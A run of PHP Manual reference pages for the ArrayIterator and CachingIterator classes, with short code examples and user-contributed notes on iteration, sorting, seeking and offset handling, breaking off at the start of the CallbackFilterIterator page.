ArrayIterator::count
ArrayIterator::getArrayCopy
ArrayIterator
PHP Manual

ArrayIterator::current

(PHP 5 >= 5.0.0)

ArrayIterator::current — Return current array entry

Description

public mixed ArrayIterator::current ( void )

Get the current array entry.

Parameters

This function has no parameters.

Return Values

The current array entry.

Examples

Example #1 ArrayIterator::current() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

for($iterator = $arrayobject->getIterator();
    $iterator->valid();
    $iterator->next()) {

    echo $iterator->key() . ' => ' . $iterator->current() . "\n";
}
?>

The above example will output:

1 => one
2 => two
3 => three

User Contributed Notes

pcdinh at phpvietnam dot net 20-Mar-2006 05:47
ArrayIterator is only used for interating simple arrays of which the value part is not another array. You can test it with a more complex array like this:

$arr = array (
    \\\'Section 1\\\' => array (
        \\\'Cat 1\\\' => array (
            1 => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            2 => \\\'So 2\\\'
        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    ),

    \\\'Section 2\\\' => array (
        \\\'Cat 1\\\' => array (

        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    )
);

$arrayobject = new ArrayObject($arr);

for($iterator = $arrayobject->getIterator();
   $iterator->valid();
   $iterator->next()) {

   echo $iterator->key() . \\\' => \\\' . $iterator->current() . \\\"<br />\\\";
}

The above scriptlet will return

Section 1 => Array
Section 2 => Array

because it can not recursively iterate throught the array.

Do the following instead (in PHP5.1):

$arrayIterator = new RecursiveArrayIterator($arr);
$iterator = new RecursiveIteratorIterator($arrayIterator);
foreach ($iterator as $val) {
    echo $val.\\\'<br/>\\\';
}
ArrayIterator::count
ArrayIterator::getArrayCopy
ArrayIterator


Get array copy

ArrayIterator::current
ArrayIterator::getFlags
ArrayIterator
PHP Manual

ArrayIterator::getArrayCopy

(PHP 5 >= 5.0.0)

ArrayIterator::getArrayCopy — Get array copy

Description

public array ArrayIterator::getArrayCopy ( void )

Get a copy of an array.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A copy of the array, or array of public properties if ArrayIterator refers to an object.

See Also

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

lenye01 at gmail dot com 11-Feb-2011 02:20
the difference of this method and the direct assign the object to a value is as follows:

<?php
$b = array('name'=>'mengzhi','age'=>'12','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
$c = $a->getArrayCopy();
var_dump($a);
var_dump($c);
?>
result:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }

array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } }
ArrayIterator::current
ArrayIterator::getFlags
ArrayIterator


Get flags

ArrayIterator::getArrayCopy
ArrayIterator::key
ArrayIterator
PHP Manual

ArrayIterator::getFlags

(PHP 5 >= 5.1.0)

ArrayIterator::getFlags — Get flags

Description

public void ArrayIterator::getFlags ( void )

Get the current flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The current flags.

See Also

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::getArrayCopy
ArrayIterator::key
ArrayIterator


Return current array key

ArrayIterator::getFlags
ArrayIterator::ksort
ArrayIterator
PHP Manual

ArrayIterator::key

(PHP 5 >= 5.0.0)

ArrayIterator::key — Return current array key

Description

public mixed ArrayIterator::key ( void )

This function returns the current array key

Parameters

This function has no parameters.

Return Values

The current array key.

Examples

Example #1 ArrayIterator::key() example

<?php
$array = array('key' => 'value');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

echo $iterator->key(); //key
?>

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::getFlags
ArrayIterator::ksort
ArrayIterator


Sort array by keys

ArrayIterator::key
ArrayIterator::natcasesort
ArrayIterator
PHP Manual

ArrayIterator::ksort

(PHP 5 >= 5.2.0)

ArrayIterator::ksort — Sort array by keys

Description

public void ArrayIterator::ksort ( void )

Sorts an array by the keys.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::asort() - Sort array by values
  • ArrayIterator::natcasesort() - Sort an array naturally, case insensitive
  • ArrayIterator::natsort() - Sort an array naturally

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::key
ArrayIterator::natcasesort
ArrayIterator


Sort an array naturally, case insensitive

ArrayIterator::ksort
ArrayIterator::natsort
ArrayIterator
PHP Manual

ArrayIterator::natcasesort

(PHP 5 >= 5.2.0)

ArrayIterator::natcasesort — Sort an array naturally, case insensitive

Description

public void ArrayIterator::natcasesort ( void )

Sort the entries by values using a case insensitive "natural order" algorithm.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::asort() - Sort array by values
  • ArrayIterator::ksort() - Sort array by keys
  • ArrayIterator::natsort() - Sort an array naturally
  • natcasesort() - Sort an array using a case insensitive "natural order" algorithm

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::ksort
ArrayIterator::natsort
ArrayIterator


Sort an array naturally

ArrayIterator::natcasesort
ArrayIterator::next
ArrayIterator
PHP Manual

ArrayIterator::natsort

(PHP 5 >= 5.2.0)

ArrayIterator::natsort — Sort an array naturally

Description

public void ArrayIterator::natsort ( void )

Sort the entries by values using "natural order" algorithm.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ArrayIterator::asort() - Sort array by values
  • ArrayIterator::ksort() - Sort array by keys
  • ArrayIterator::natcasesort() - Sort an array naturally, case insensitive
  • natsort() - Sort an array using a "natural order" algorithm

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::natcasesort
ArrayIterator::next
ArrayIterator


Move to next entry

ArrayIterator::natsort
ArrayIterator::offsetExists
ArrayIterator
PHP Manual

ArrayIterator::next

(PHP 5 >= 5.0.0)

ArrayIterator::next — Move to next entry

Description

public void ArrayIterator::next ( void )

The iterator to the next entry.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayIterator::next() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

The above example will output:

0 => zero
1 => one

User Contributed Notes

onelsonsenna at gmail dot com 06-Oct-2011 11:09
If you use exchangeArray method of ArrayObject and then next method of ArrayIterator like this:

<?php

    $fruits = array("apple", "grape", "lemon");

    $colors = array("blue", "yellow", "green");

    $arrayObject = new ArrayObject($fruits);

    $arrayIterator = $arrayObject->getIterator();

    while($arrayIterator->valid()) {

        if ($arrayIterator->current() == "grape") {
            $arrayObject->exchangeArray($colors);
        }

        $arrayIterator->next();
    }

?>

You will receive:

PHP Notice:  ArrayIterator::next(): Array was modified outside object and internal position is no longer valid

So be careful with next and prev operations. :)
ArrayIterator::natsort
ArrayIterator::offsetExists
ArrayIterator


Check if offset exists

ArrayIterator::next
ArrayIterator::offsetGet
ArrayIterator
PHP Manual

ArrayIterator::offsetExists

(PHP 5 >= 5.0.0)

ArrayIterator::offsetExists — Check if offset exists

Description

public void ArrayIterator::offsetExists ( string $index )

Checks if the offset exists.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The offset being checked.

Return Values

TRUE if the offset exists, otherwise FALSE

See Also

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::next
ArrayIterator::offsetGet
ArrayIterator


Get value for an offset

ArrayIterator::offsetExists
ArrayIterator::offsetSet
ArrayIterator
PHP Manual

ArrayIterator::offsetGet

(PHP 5 >= 5.0.0)

ArrayIterator::offsetGet — Get value for an offset

Description

public mixed ArrayIterator::offsetGet ( string $index )

Gets the value from the provided offset.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The offset to get the value from.

Return Values

The value at offset index.

See Also

  • ArrayIterator::offsetSet() - Set value for an offset
  • ArrayIterator::offsetUnset() - Unset value for an offset

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::offsetExists
ArrayIterator::offsetSet
ArrayIterator


Set value for an offset

ArrayIterator::offsetGet
ArrayIterator::offsetUnset
ArrayIterator
PHP Manual

ArrayIterator::offsetSet

(PHP 5 >= 5.0.0)

ArrayIterator::offsetSet — Set value for an offset

Description

public void ArrayIterator::offsetSet ( string $index , string $newval )

Sets a value for a given offset.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index to set for.

newval

The new value to store at the index.

Return Values

No value is returned.

See Also

  • ArrayIterator::offSetGet() - Get value for an offset
  • ArrayIterator::offSetUnset() - Unset value for an offset

User Contributed Notes

shiranai7 at NOSPAM dot hotmail dot NOSPAM dot com 05-Dec-2011 12:52
The $index argument seems to be NULL for append operations, e.g.:

<?php

// example extension class
class Test extends ArrayIterator
{
    public function offsetSet($index, $newval)
    {
        echo 'Test::offsetSet('.var_export($index, true).', '.var_export($newval, true).")\n";
    }
}

// test
$i = new Test;
$i[] = 'append a value';

?>

The result is:

Test::offsetSet(NULL, 'append a value')
ArrayIterator::offsetGet
ArrayIterator::offsetUnset
ArrayIterator


Unset value for an offset

ArrayIterator::offsetSet
ArrayIterator::rewind
ArrayIterator
PHP Manual

ArrayIterator::offsetUnset

(PHP 5 >= 5.0.0)

ArrayIterator::offsetUnset — Unset value for an offset

Description

public void ArrayIterator::offsetUnset ( string $index )

Unsets a value for an offset.

Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The offset to unset.

Return Values

No value is returned.

See Also

  • ArrayIterator::offSetGet() - Get value for an offset
  • ArrayIterator::offSetSet() - Set value for an offset

User Contributed Notes

olav at fwt dot no 07-Jul-2011 04:12
When unsetting elements as you go it will not remove the second index of the Array being worked on. Im not sure exactly why but there is some speculations that when calling unsetOffset(); it resets the pointer aswell.

<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid(); $b->next() )
{
    echo "#{$b->key()} - {$b->current()} - \r\n";
    $b->offsetUnset( $b->key() );
}

?>

To avoid this bug you can call offsetUnset in the for loop

<?php
/*** ... ***/
for ( $b->rewind(); $b->valid(); $b->offsetUnset( $b->key() ) )
{
/*** ... ***/
?>

Or unset it directly in the ArrayObject
<?php
/*** ... ***/
    $a->offsetUnset( $b->key() );
/*** ... ***/
?>

which will produce correct results
Adil Baig @ AIdezigns 23-Jun-2011 11:23
Make sure you use this function to unset a value. You can't access this iterator's values as an array. Ex:

<?php
$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));

foreach($iterator as $key => $value)
{
    unset($iterator[$key]);
}
?>

Will return :

PHP Fatal error:  Cannot use object of type RecursiveIteratorIterator as array

offsetUnset works properly even when removing items from nested arrays.
ArrayIterator::offsetSet
ArrayIterator::rewind
ArrayIterator


Rewind array back to the start

ArrayIterator::offsetUnset
ArrayIterator::seek
ArrayIterator
PHP Manual

ArrayIterator::rewind

(PHP 5 >= 5.0.0)

ArrayIterator::rewind — Rewind array back to the start

Description

public void ArrayIterator::rewind ( void )

This rewinds the iterator to the beginning.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayIterator::rewind() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';
$arrayobject[] = 'two';

$iterator = $arrayobject->getIterator();

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the begining
echo $iterator->key(); //0
?>

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::offsetUnset
ArrayIterator::seek
ArrayIterator


Seek to position

ArrayIterator::rewind
ArrayIterator::serialize
ArrayIterator
PHP Manual

ArrayIterator::seek

(PHP 5 >= 5.0.0)

ArrayIterator::seek — Seek to position

Description

public void ArrayIterator::seek ( int $position )
Warning

This function is currently not documented; only its argument list is available.

Parameters

position

The position to seek to.

Return Values

No value is returned.

User Contributed Notes

php at mattjanssen dot com 12-May-2011 08:53
If you call ->seek() on a position that doesn't exist, you'll get the following error:
PHP Fatal error:  Uncaught exception 'OutOfBoundsException' with message 'Seek position 10 is out of range' in script.php:1
jon at ngsthings dot com 21-Oct-2008 05:08
<?php
// didn't see any code demos...here's one from an app I'm working on

$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

if($iterator->valid()){
    $iterator->seek(1);            // expected: two, output: two
    echo $iterator->current();    // two
}

?>
adar at darkpoetry dot de 26-Mar-2007 11:54
Nice way to get previous and next keys:

<?php

class myIterator extends ArrayIterator{

    private $previousKey;

    public function __construct( $array ) {
        parent::__construct( $array );
        $this->previousKey = NULL;
    }

    public function getPreviousKey() {
        return $this->previousKey;
    }

    public function next() {
        $this->previousKey = $this->key();
        parent::next();
    }

    public function getNextKey() {
        $key = $this->current()-1;
        parent::next();
        if ( $this->valid() ) {
            $return = $this->key();
        } else {
            $return = NULL;
        }
        $this->seek( $key );

        return $return;
    }
}

class myArrayObject extends ArrayObject {

    private $array;

    public function __construct( $array ) {
        parent::__construct( $array );
        $this->array = $array;
    }

    public function getIterator() {
        return new myIterator( $this->array );
    }

}
?>

And for testing:

<?php

$array['a'] = '1';
$array['b'] = '2';
$array['c'] = '3';

$arrayObject = new myArrayObject( $array );

for ( $i = $arrayObject->getIterator() ; $i->valid() ; $i->next() ) {
    print "iterating...\n";
    print "prev: ".$i->getPreviousKey()."\n";
    print "current: ".$i->key()."\n";
    print "next: ".$i->getNextKey()."\n";
}

?>

Output will be:

iterating...
prev:
current: a
next: b
iterating...
prev: a
current: b
next: c
iterating...
prev: b
current: c
next:
ArrayIterator::rewind
ArrayIterator::serialize
ArrayIterator


Serialize

ArrayIterator::seek
ArrayIterator::setFlags
ArrayIterator
PHP Manual

ArrayIterator::serialize

(PHP 5 >= 5.3.0)

ArrayIterator::serialize — Serialize

Description

public string ArrayIterator::serialize ( void )

Serialize.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The serialized ArrayIterator.

See Also

  • ArrayIterator::unserialize() - Unserialize

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::seek
ArrayIterator::setFlags
ArrayIterator


Set behaviour flags

ArrayIterator::serialize
ArrayIterator::uasort
ArrayIterator
PHP Manual

ArrayIterator::setFlags

(PHP 5 >= 5.1.0)

ArrayIterator::setFlags — Set behaviour flags

Description

public void ArrayIterator::setFlags ( string $flags )

Sets behaviour flags.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flags

A bitmask as follows:

  • 0 = Properties of the object have their normal functionality when accessed as list (var_dump, foreach, etc.).
  • 1 = Array indices can be accessed as properties in read/write.

Return Values

No value is returned.

See Also

  • ArrayIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::serialize
ArrayIterator::uasort
ArrayIterator


User defined sort

ArrayIterator::setFlags
ArrayIterator::uksort
ArrayIterator
PHP Manual

ArrayIterator::uasort

(PHP 5 >= 5.2.0)

ArrayIterator::uasort — User defined sort

Description

public void ArrayIterator::uasort ( string $cmp_function )

Sort the entries by values using user defined function.

Warning

This function is currently not documented; only its argument list is available.

Parameters

cmp_function

The compare function used for the sort.

Return Values

No value is returned.

See Also

  • ArrayIterator::uksort() - User defined sort
  • usort() - Sort an array by values using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::setFlags
ArrayIterator::uksort
ArrayIterator


User defined sort

ArrayIterator::uasort
ArrayIterator::unserialize
ArrayIterator
PHP Manual

ArrayIterator::uksort

(PHP 5 >= 5.2.0)

ArrayIterator::uksort — User defined sort

Description

public void ArrayIterator::uksort ( string $cmp_function )

Sort the entries by key using user defined function.

Warning

This function is currently not documented; only its argument list is available.

Parameters

cmp_function

The compare function used for the sort.

Return Values

No value is returned.

See Also

  • ArrayIterator::uasort() - User defined sort
  • uksort() - Sort an array by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::uasort
ArrayIterator::unserialize
ArrayIterator


Unserialize

ArrayIterator::uksort
ArrayIterator::valid
ArrayIterator
PHP Manual

ArrayIterator::unserialize

(PHP 5 >= 5.3.0)

ArrayIterator::unserialize — Unserialize

Description

public string ArrayIterator::unserialize ( string $serialized )

Unserialize.

Warning

This function is currently not documented; only its argument list is available.

Parameters

serialized

The serialized ArrayIterator object to be unserialized.

Return Values

The ArrayIterator.

See Also

  • ArrayIterator::serialize() - Serialize

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::uksort
ArrayIterator::valid
ArrayIterator


Check whether array contains more entries

ArrayIterator::unserialize
CachingIterator
ArrayIterator
PHP Manual

ArrayIterator::valid

(PHP 5 >= 5.0.0)

ArrayIterator::valid — Check whether array contains more entries

Description

public bool ArrayIterator::valid ( void )

Checks if the array contains any more entries.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayIterator::valid() example

<?php
$array = array('1' => 'one');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

var_dump($iterator->valid()); //bool(true)

$iterator->next(); // advance to the next item

//bool(false) because there is only one array element
var_dump($iterator->valid());
?>

User Contributed Notes

kaigillmann at gmxpro dot net 11-Nov-2005 01:55
Sometimes you need to search through the array.
Here is my object-orientated Version:

<?php
class MyArrayIterator extends ArrayIterator
{
    public function available($value)
    {
        if (in_array($value, (array)$this))
            return true;
        else
            return false;
    }

    public function search($value)
    {
        foreach((array)$this as $Key => $values)
        {
            if ($values == $value)
                return $Key;
        }
        return false;
    }
}
?>
ArrayIterator::unserialize
CachingIterator
ArrayIterator


The CachingIterator class

(PHP 5)

Introduction

This object supports cached iteration over another iterator.

Class synopsis

CachingIterator extends IteratorIterator implements OuterIterator , Traversable , Iterator , ArrayAccess , Countable {
/* Constants */
const integer CALL_TOSTRING = 1 ;
const integer CATCH_GET_CHILD = 16 ;
const integer TOSTRING_USE_KEY = 2 ;
const integer TOSTRING_USE_CURRENT = 4 ;
const integer TOSTRING_USE_INNER = 8 ;
const integer FULL_CACHE = 256 ;
/* Methods */
public __construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
public int count ( void )
public void current ( void )
public void getCache ( void )
public void getFlags ( void )
public void getInnerIterator ( void )
public void hasNext ( void )
public void key ( void )
public void next ( void )
public void offsetExists ( string $index )
public void offsetGet ( string $index )
public void offsetSet ( string $index , string $newval )
public void offsetUnset ( string $index )
public void rewind ( void )
public void setFlags ( bitmask $flags )
public void __toString ( void )
public void valid ( void )
}

Predefined Constants

CachingIterator::CALL_TOSTRING

Convert every element to string.

CachingIterator::CATCH_GET_CHILD

Don't throw exception in accessing children.

CachingIterator::TOSTRING_USE_KEY

Use key for conversion to string.

CachingIterator::TOSTRING_USE_CURRENT

Use current for conversion to string.

CachingIterator::TOSTRING_USE_INNER

Use inner for conversion to string.

CachingIterator::FULL_CACHE

Cache all read data.

Table of Contents

  • CachingIterator::__construct — Construct a new CachingIterator object for the iterator.
  • CachingIterator::count — The number of elements in the iterator
  • CachingIterator::current — Return the current element
  • CachingIterator::getCache — The getCache purpose
  • CachingIterator::getFlags — Get flags used
  • CachingIterator::getInnerIterator — Returns the inner iterator
  • CachingIterator::hasNext — Check whether the inner iterator has a valid next element
  • CachingIterator::key — Return the key for the current element
  • CachingIterator::next — Move the iterator forward
  • CachingIterator::offsetExists — The offsetExists purpose
  • CachingIterator::offsetGet — The offsetGet purpose
  • CachingIterator::offsetSet — The offsetSet purpose
  • CachingIterator::offsetUnset — The offsetUnset purpose
  • CachingIterator::rewind — Rewind the iterator
  • CachingIterator::setFlags — The setFlags purpose
  • CachingIterator::__toString — Return the string representation of the current element
  • CachingIterator::valid — Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
ArrayIterator::valid
CachingIterator::__construct
Iterators


Construct a new CachingIterator object for the iterator.

CachingIterator
CachingIterator::count
CachingIterator
PHP Manual

CachingIterator::__construct

(PHP 5)

CachingIterator::__construct — Construct a new CachingIterator object for the iterator.

Description

public CachingIterator::__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

Iterator to cache

flags

Bitmask of flags.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator
CachingIterator::count
CachingIterator


The number of elements in the iterator

CachingIterator::__construct
CachingIterator::current
CachingIterator
PHP Manual

CachingIterator::count

(PHP 5 >= 5.2.2)

CachingIterator::count — The number of elements in the iterator

Description

public int CachingIterator::count ( void )
Warning

This function is currently not documented; only its argument list is available.

May return the number of elements in the iterator.

Parameters

This function has no parameters.

Return Values

The count of the elements iterated over.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::__construct
CachingIterator::current
CachingIterator


Return the current element

CachingIterator::count
CachingIterator::getCache
CachingIterator
PHP Manual

CachingIterator::current

(PHP 5)

CachingIterator::current — Return the current element

Description

public void CachingIterator::current ( void )
Warning

This function is currently not documented; only its argument list is available.

May return the current element in the iteration.

Parameters

This function has no parameters.

Return Values

Mixed

See Also

  • Iterator::current() - Return the current element

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::count
CachingIterator::getCache
CachingIterator


The getCache purpose

CachingIterator::current
CachingIterator::getFlags
CachingIterator
PHP Manual

CachingIterator::getCache

(PHP 5 >= 5.2.0)

CachingIterator::getCache — The getCache purpose

Description

public void CachingIterator::getCache ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::current
CachingIterator::getFlags
CachingIterator


Get flags used

CachingIterator::getCache
CachingIterator::getInnerIterator
CachingIterator
PHP Manual

CachingIterator::getFlags

(PHP 5 >= 5.2.0)

CachingIterator::getFlags — Get flags used

Description

public void CachingIterator::getFlags ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the bitmask of the flags used for this CachingIterator instance.

Parameters

This function has no parameters.

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::getCache
CachingIterator::getInnerIterator
CachingIterator


Returns the inner iterator

CachingIterator::getFlags
CachingIterator::hasNext
CachingIterator
PHP Manual

CachingIterator::getInnerIterator

(PHP 5)

CachingIterator::getInnerIterator — Returns the inner iterator

Description

public void CachingIterator::getInnerIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the iterator sent to the constructor.

Parameters

This function has no parameters.

Return Values

Returns an object implementing the Iterator interface.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::getFlags
CachingIterator::hasNext
CachingIterator


Check whether the inner iterator has a valid next element

CachingIterator::getInnerIterator
CachingIterator::key
CachingIterator
PHP Manual

CachingIterator::hasNext

(PHP 5)

CachingIterator::hasNext — Check whether the inner iterator has a valid next element

Description

public void CachingIterator::hasNext ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

andresdzphp at php dot net 26-Sep-2011 01:08
CachingIterator::hasNext Example

<?php
$ait = new ArrayIterator(array('Value 1', 'Value 2', 'Value 3', 'Value 4'));
$cit = new CachingIterator($ait);

foreach ($cit as $value) {
    echo $value;
    //if has a next value, print a comma
    if ($cit->hasNext()) {
        echo ', ';
    }
}
?>

Result: Value 1, Value 2, Value 3, Value 4
CachingIterator::getInnerIterator
CachingIterator::key
CachingIterator


Return the key for the current element

CachingIterator::hasNext
CachingIterator::next
CachingIterator
PHP Manual

CachingIterator::key

(PHP 5)

CachingIterator::key — Return the key for the current element

Description

public void CachingIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

This method may return a key for the current element.

Parameters

This function has no parameters.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::hasNext
CachingIterator::next
CachingIterator


Move the iterator forward

CachingIterator::key
CachingIterator::offsetExists
CachingIterator
PHP Manual

CachingIterator::next

(PHP 5)

CachingIterator::next — Move the iterator forward

Description

public void CachingIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Move the iterator forward.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::key
CachingIterator::offsetExists
CachingIterator


The offsetExists purpose

CachingIterator::next
CachingIterator::offsetGet
CachingIterator
PHP Manual

CachingIterator::offsetExists

(PHP 5 >= 5.2.0)

CachingIterator::offsetExists — The offsetExists purpose

Description

public void CachingIterator::offsetExists ( string $index )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index being checked.

Return Values

Returns TRUE if an entry referenced by the offset exists, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::next
CachingIterator::offsetGet
CachingIterator


The offsetGet purpose

CachingIterator::offsetExists
CachingIterator::offsetSet
CachingIterator
PHP Manual

CachingIterator::offsetGet

(PHP 5 >= 5.2.0)

CachingIterator::offsetGet — The offsetGet purpose

Description

public void CachingIterator::offsetGet ( string $index )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

Description...

Return Values

Description...

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::offsetExists
CachingIterator::offsetSet
CachingIterator


The offsetSet purpose

CachingIterator::offsetGet
CachingIterator::offsetUnset
CachingIterator
PHP Manual

CachingIterator::offsetSet

(PHP 5 >= 5.2.0)

CachingIterator::offsetSet — The offsetSet purpose

Description

public void CachingIterator::offsetSet ( string $index , string $newval )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index of the element to be set.

newval

The new value for the index.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::offsetGet
CachingIterator::offsetUnset
CachingIterator


The offsetUnset purpose

CachingIterator::offsetSet
CachingIterator::rewind
CachingIterator
PHP Manual

CachingIterator::offsetUnset

(PHP 5 >= 5.2.0)

CachingIterator::offsetUnset — The offsetUnset purpose

Description

public void CachingIterator::offsetUnset ( string $index )
Warning

This function is currently not documented; only its argument list is available.

Parameters

index

The index of the element to be unset.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::offsetSet
CachingIterator::rewind
CachingIterator


Rewind the iterator

CachingIterator::offsetUnset
CachingIterator::setFlags
CachingIterator
PHP Manual

CachingIterator::rewind

(PHP 5)

CachingIterator::rewind — Rewind the iterator

Description

public void CachingIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Rewind the iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::offsetUnset
CachingIterator::setFlags
CachingIterator


The setFlags purpose

CachingIterator::rewind
CachingIterator::__toString
CachingIterator
PHP Manual

CachingIterator::setFlags

(PHP 5 >= 5.2.0)

CachingIterator::setFlags — The setFlags purpose

Description

public void CachingIterator::setFlags ( bitmask $flags )
Warning

This function is currently not documented; only its argument list is available.

Set the flags for the CachingIterator object.

Parameters

flags

Bitmask of the flags to set.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::rewind
CachingIterator::__toString
CachingIterator


Return the string representation of the current element

CachingIterator::setFlags
CachingIterator::valid
CachingIterator
PHP Manual

CachingIterator::__toString

(PHP 5)

CachingIterator::__toString — Return the string representation of the current element

Description

public void CachingIterator::__toString ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the string representation of the current element.

Parameters

This function has no parameters.

Return Values

The string representation of the current element.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::setFlags
CachingIterator::valid
CachingIterator


Check whether the current element is valid

CachingIterator::__toString
CallbackFilterIterator
CachingIterator
PHP Manual

CachingIterator::valid

(PHP 5)

CachingIterator::valid — Check whether the current element is valid

Description

public void CachingIterator::valid ( void )
Warning

This function is currently not documented; only its argument list is available.

Check whether the current element is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
CachingIterator::__toString
CallbackFilterIterator
CachingIterator


The CallbackFilterIterator class

(PHP 5 >= 5.4.0)

Introduction

Class synopsis

CallbackFilterIterator extends FilterIterator implements Iterator , Traversable , OuterIterator {
/* Methods */
public __construct ( Iterator $iterator , callback $callback )
public string accept ( void )
/* Inherited methods */
abstract bool FilterIterator::accept ( void )
FilterIterator::__construct ( Iterator $iterator )
mixed FilterIterator::current ( void )
Iterator FilterIterator::getInnerIterator ( void )
mixed FilterIterator::key ( void )
void FilterIterator::next ( void )
void FilterIterator::rewind ( void )
bool FilterIterator::valid ( void )
}

Examples

The callback should accept up to three arguments: the current item, the current key and the iterator, respectively.

Example #1 Available callback arguments

<?php

/**
 * Callback for CallbackFilterIterator
 *
 * @param $current   Current item's value
 * @param $key       Current item's key
 * @param $iterator  Iterator being filtered
 * @return boolean   TRUE to accept the current item, FALSE otherwise
 */
function my_callback($current, $key, $iterator) {
    // Your filtering code here
}

?>

Any callback may be used; such as a string containing a function name, an array for a method, or an anonymous function.

Example #2 Callback basic examples

